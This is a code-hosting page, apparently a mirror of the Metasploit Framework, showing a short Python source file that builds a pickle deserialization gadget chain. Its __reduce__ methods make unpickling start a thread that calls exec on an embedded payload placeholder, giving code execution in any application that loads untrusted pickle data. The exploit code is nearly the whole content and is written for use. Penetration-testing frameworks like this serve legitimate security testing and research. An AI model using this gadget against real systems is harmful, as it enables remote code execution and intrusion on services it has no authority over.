/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
external/source/python_deserialization/py3_exec_threaded.py
14 строк
379 B
Spencer McIntyre
Add source code for Python deserialization gadgets
29 мар 2024, 16:33
29 мар 2024, 16:33
e5635c4
Код
Авторство
О чём код?
import pickle import threading class CreateThread: def __reduce__(self): return threading.Thread, (None, __builtins__.exec, None, ('#{escaped}',)) class GadgetChain: def __reduce__(self): return threading.Thread.start, (CreateThread(),) if __name__ == '__main__': pickled = pickle.dumps(GadgetChain(), protocol=0) print(repr(pickled.decode()))